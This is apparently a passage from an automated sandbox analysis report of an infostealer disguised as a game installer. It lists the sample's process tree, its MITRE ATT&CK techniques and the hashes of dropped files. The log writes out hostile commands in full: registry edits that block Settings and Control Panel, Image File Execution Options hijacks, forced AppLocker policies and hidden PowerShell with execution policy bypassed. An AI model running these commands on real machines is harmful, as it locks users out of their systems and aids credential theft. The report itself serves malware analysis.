      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4892
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "SystemSettings.exe" /f
        5⤵
        Blocks application from running via registry modification
        
        PID:4728
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "SystemSettingsAdminFlows.exe" /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1888
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "SystemSettingsAdminFlows.exe" /f
        5⤵
        Blocks application from running via registry modification
        
        PID:216
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3972
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
        5⤵
        
        PID:956
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:*" /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1964
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:540
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:*" /f
        5⤵
        
        PID:312
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4044
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f
        5⤵
        Blocks application from running via registry modification
        
        PID:3736
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "SystemSettings.exe" /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4168
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "SystemSettings.exe" /f
        5⤵
        Blocks application from running via registry modification
        
        PID:3600
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "SystemSettingsAdminFlows.exe" /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3664
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "SystemSettingsAdminFlows.exe" /f
        5⤵
        Blocks application from running via registry modification
        
        PID:2104
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPage /t REG_DWORD /d 1 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4764
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPage /t REG_DWORD /d 1 /f
        5⤵
        
        PID:3080
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPage /t REG_DWORD /d 1 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3880
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPage /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4856
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "taskkill /f /im SystemSettings.exe >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4852
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im SystemSettings.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:548
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "sc config AppIDSvc start= auto >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3040
    - - C:\Windows\system32\sc.exe
        
        sc config AppIDSvc start= auto
        5⤵
        Launches sc.exe
        
        PID:5108
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" /v Start /t REG_DWORD /d 2 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3508
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" /v Start /t REG_DWORD /d 2 /f
        5⤵
        
        PID:1348
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "net start AppIDSvc >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:668
    - - C:\Windows\system32\net.exe
        
        net start AppIDSvc
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4152
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start AppIDSvc
        6⤵
        
        PID:2160
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "sc start AppIDSvc >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4820
    - - C:\Windows\system32\sc.exe
        
        sc start AppIDSvc
        5⤵
        Launches sc.exe
        
        PID:3028
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-Service -Name AppIDSvc -StartupType Automatic -ErrorAction Stop; Start-Service AppIDSvc -ErrorAction SilentlyContinue } catch {}""
      4⤵
      Hide Artifacts: Hidden Window
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of WriteProcessMemory
      PID:4984
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-Service -Name AppIDSvc -StartupType Automatic -ErrorAction Stop; Start-Service AppIDSvc -ErrorAction SilentlyContinue } catch {}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2716
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM steam.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3280
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM steamwebhelper.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4200
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-AppLockerPolicy -XmlPolicy `"C:\\Users\\Admin\\AppData\\Local\\Temp\\applocker_block_9908554792101200450.xml`" -Merge -ErrorAction Stop; exit 0 } catch { exit 1 }""
      4⤵
      Hide Artifacts: Hidden Window
      Suspicious use of WriteProcessMemory
      PID:3080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-AppLockerPolicy -XmlPolicy `"C:\\Users\\Admin\\AppData\\Local\\Temp\\applocker_block_9908554792101200450.xml`" -Merge -ErrorAction Stop; exit 0 } catch { exit 1 }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3952
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe" /v EnforcementMode /t REG_DWORD /d 1 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2144
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe" /v EnforcementMode /t REG_DWORD /d 1 /f
        5⤵
        
        PID:3784
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:216
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:540
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettingsAdminFlows.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:744
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettingsAdminFlows.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:5080
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      PID:564
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f
        5⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:1876
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "sc config AppIDSvc start= auto >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      PID:464
    - - C:\Windows\system32\sc.exe
        
        sc config AppIDSvc start= auto
        5⤵
        Launches sc.exe
        
        PID:4464
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" /v Start /t REG_DWORD /d 2 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      PID:4660
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:312
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" /v Start /t REG_DWORD /d 2 /f
        5⤵
        
        PID:1628
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "net start AppIDSvc >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      PID:3516
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3600
    - - C:\Windows\system32\net.exe
        
        net start AppIDSvc
        5⤵
        
        PID:3804
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start AppIDSvc
        6⤵
        
        PID:2976
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "sc start AppIDSvc >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      PID:2656
    - - C:\Windows\system32\sc.exe
        
        sc start AppIDSvc
        5⤵
        Launches sc.exe
        
        PID:3536
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-Service -Name AppIDSvc -StartupType Automatic -ErrorAction Stop; Start-Service AppIDSvc -ErrorAction SilentlyContinue } catch {}""
      4⤵
      Hide Artifacts: Hidden Window
      Hide Artifacts: Ignore Process Interrupts
      PID:2436
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:548
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-Service -Name AppIDSvc -StartupType Automatic -ErrorAction Stop; Start-Service AppIDSvc -ErrorAction SilentlyContinue } catch {}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4364
  - - C:\Windows\SYSTEM32\tasklist.exe
      tasklist /FI "IMAGENAME eq discord.exe" /FO CSV /NH
      4⤵
      Discovers running processes
      PID:1936
  - - C:\Windows\SYSTEM32\wscript.exe
      wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\086c9508.vbs
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:4188
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --kiosk --app=file:/C:/Users/Admin/AppData/Local/Temp/exastealer2595420162076056958/beta-game-setup.html --disable-pinch --allow-file-access-from-files --disable-web-security --disable-translate --disable-infobars --no-first-run --no-default-browser-check --disable-dev-tools --noerrdialogs --disable-component-update --disable-background-networking --disable-sync --disable-features=Translate,ChromeWhatsNewUI,InProductHelp --hide-crash-restore-bubble --lang=en-US
      4⤵
      Drops file in Program Files directory
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:3044
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe1a95c728,0x7ffe1a95c734,0x7ffe1a95c740
        5⤵
        
        PID:5112
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1680,i,4992741935961127409,3855610070409103283,262144 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2000 /prefetch:2
        5⤵
        
        PID:3228
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=1592,i,13062415781847606987,10115135661251143026,524288 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2140 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:3148
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,13653810911152739143,5140369523082415135,524288 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2580 /prefetch:8
        5⤵
        
        PID:1604
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3288,i,5456200736761439987,15323753157866793216,2097152 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3012 /prefetch:1
        5⤵
        
        PID:2032
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3080,i,10374068571890023302,14909213496572458898,2097152 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3296 /prefetch:1
        5⤵
        
        PID:1252
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4188,i,12662853988510551827,9631033689582554951,2097152 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4400 /prefetch:2
        5⤵
        
        PID:4564
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=5340,i,3109968324148890545,490862272384307555,524288 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5348 /prefetch:8
        5⤵
        
        PID:3260
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=5720,i,4160410598588876462,2581186937589908261,524288 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5596 /prefetch:8
        5⤵
        
        PID:340
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=5736,i,10899173516131717082,5251930831188237013,524288 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5372 /prefetch:8
        5⤵
        
        PID:2672
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=5740,i,13876048066327897634,10325305017222631273,524288 --field-trial-handle=2004,i,10860611353457560417,4593095371319518507,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5636 /prefetch:8
        5⤵
        
        PID:4344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq java.exe" /FO CSV /NH"
    3⤵
    - Executes a command shell one-liner
    PID:4552
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq java.exe" /FO CSV /NH
      4⤵
      Discovers running processes
      PID:1324
- C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\demoinkbornsetup" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1696,i,17288836604621146424,5598048659532956476,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1700,i,11631114883242232718,10008087742055562092,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1692 /prefetch:2
  2⤵
  PID:1836
- C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe
  "C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\demoinkbornsetup" --field-trial-handle=1696,i,17288836604621146424,5598048659532956476,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1700,i,11631114883242232718,10008087742055562092,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2136 /prefetch:3
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:3880

C:\Users\Admin\AppData\Local\emre\jre\bin\javaw.exe
"C:\Users\Admin\AppData\Local\emre\jre\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\emre\emre.jar" --startup
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3248

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3600

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sys_cache_120b7709.dll

Path C:\Users\Admin\AppData\Local\Common\74d9a271\sys_cache_120b7709.dll
Size 116KB
SHA256 26b2ed03a8f0972169adb8158bcd9b7c482aa9c20a81cee1171eb4091c740991
MD5 f19dc17d9b554e9a3512521b80c41c9b
SHA1 fa34787dd2ad0b00d2cc2473df7259c7e008525e
SHA512 e923a772cb0d7862e874e3a83844ff919451e7c23c58d6bf5eb81b1aa70a812c6b1ad53db833f3640603cfb5087acc30cca548263cf23b31f9f2329d1a30783f
SSDEEP 3072:orlLVFIT+ix+wOPSNTKEOdQeW2Fh3E3t:oNVaTnx8SN+S
TLSH
T1B9C34B5BB7E500BBE177C23988670A05E7B2B8561B609FEF03A0465A1F237D44D3EB61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

05a40449-5a58-46e1-ad23-5326a4fac5b9.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\05a40449-5a58-46e1-ad23-5326a4fac5b9.tmp
Size 131KB
SHA256 d3658ffc43d7d9096bb2c873b51825aff599141d5f0b6f439eb2b64034f88124
MD5 70052af7a273ce0504b531c68b654127
SHA1 c7bcc02ef40c28091dcd8b7967e59eeed64ad5e7
SHA512 fadd3f0279f2b8796e1ad88e7c5cfe2853f901b6a892a4da3a5d878529c1533038cbbc65cbc64ba8eaa5c6d72e5716961b960f77f9e2fe31a0d345ea11ef69c9
SSDEEP 3072:OJ5+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+g3:On+hFD+7t56OD9ZfSAppr3
TLSH
T13BD30232AA95D8BBC9FD6541F257A300CD6268ED45DE3B09444A5F8EA19FC4C07B3A33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0e900fff-f028-4d01-b922-04568f1ad2f8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\0e900fff-f028-4d01-b922-04568f1ad2f8.tmp
Size 131KB
SHA256 64396b5510e13fecd0a166b053e909abeab3ba91d9d5c3841d45db0697f6f8c8
MD5 dc53f4d2733ceaf9097936929f47f8b8
SHA1 f749c62f9537f1203cf464166cc1510c9cafbbbb
SHA512 94d7b79e5feef0caa758312e65cf161f4fba688e5787aec3b656d9bcb39a3a80396769c7383bc5b59bcdaa9a74260c9b45594064aca89c7e6a8bdd9f8e14e1b1
SSDEEP 3072:OJX+lPFz63F8+7t5x0M2XLqD90xWfrz6a9pInCOp+EGFAJ8P+g3:O9+hFD+7t56OD9ZfSAppr3
TLSH
T13CD31232AA95D877C9FD6541F247A300DD626CED55DE3B09444A5F8EA09F84C07B3A33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 6425e306544eada3397086f82b6fd7cdb8aefeec7d1cb40f10889682c6dcdca2
MD5 f4047e2d9124e64dc7905462238d66a7
SHA1 d0d02389d27ee899b8ab1f357d020446eac137f9
SHA512 8ef4320644acd749609a792ccff20a44ffcce07d2ce7e1172a15bf59d701185e22fe861ae045f73a0f84239b8439a16c38b164dd017a3bd0debd8431bf9b860a
MD5 SHA1 SHA512

Submit Download

1dd64114-f119-4363-a1a6-7f36f9cb3151.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\1dd64114-f119-4363-a1a6-7f36f9cb3151.tmp
Size 17KB
SHA256 1f54a63591e6dde1b69486f2c8df6aaa98f633d0dd8c27d42b25af96f2f70962
MD5 5cab65b9e642c268f5e70f2293b70c27
SHA1 9b7f8ea2e54c186b6be63179827f24fefd5b4203
